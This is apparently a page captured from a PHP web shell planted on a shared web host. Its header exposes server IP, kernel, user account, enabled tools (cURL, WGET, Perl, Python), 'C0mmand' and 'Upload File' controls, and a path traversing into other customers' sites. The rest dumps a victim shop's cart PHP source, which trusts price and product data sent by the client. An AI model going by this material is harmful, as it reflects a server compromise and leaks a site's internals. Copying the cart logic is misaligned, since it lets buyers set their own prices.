Server IP : 103.53.40.154 / Your IP : 13.58.201.240 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/nbms.in/../homeinteriordecorators.in/../deedeecreation.in/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); // Make sure to start the session include_once "admin/config.php"; include_once "top-link.php"; if ($_SERVER["REQUEST_METHOD"] == "POST") { $id = $_POST['sr_no']; $name = $_POST['name']; $price = $_POST['price']; $image = $_POST['image']; $size = $_POST['size']; $product = [ 'p_id' => $id, // Use $id instead of $sr_no "quantity" => 1, // Set default quantity to 1 "name" => $name, "rate" => $price, "img1" => $image, "size" => $size ]; if (isset($_POST['add_product'])) { if (!isset($_SESSION['cart'])) { $_SESSION['cart'][] = $product; echo "<script> window.location.href = history.back(); </script>"; // echo "<script> // alert('Item Added!'); // window.location.href = history.back(); // </script>"; } else { $is_already_added = false; // Initialize flag foreach ($_SESSION['cart'] as $store_product) { if ($store_product['p_id'] == $product['p_id']) { // Compare IDs $is_already_added = true; break; } } if (!$is_already_added) { $_SESSION['cart'][] = $product; echo "<script> window.location.href = history.back(); </script>"; // echo "<script> // alert('Item Added!'); // window.location.href = history.back(); // </script>"; } else { echo "<script> window.location.href = history.back(); </script>"; // echo "<script> // alert('Item Already Added!'); // window.location.href = history.back(); // </script>"; } } } if(isset($_POST['remove_product'])){ foreach($_SESSION['cart'] as $key => $re_product){ if($re_product['name']==$_POST['item_name']){ unset($_SESSION['cart'][$key]); $_SESSION['cart'] = array_values($_SESSION['cart']); echo "<script> window.location.href='cart.html'; </script>"; // echo "<script> // alert('Item Removed!'); // window.location.href='cart.html'; // </script>"; } } } if(isset($_POST['mod_quantity'])){ foreach($_SESSION['cart'] as $key => $re_product){ if($re_product['name']==$_POST['item_name']){ $_SESSION['cart'][$key]['quantity'] = $_POST['mod_quantity']; echo "<script> window.location.href='cart.html'; </script>"; } } } } ?>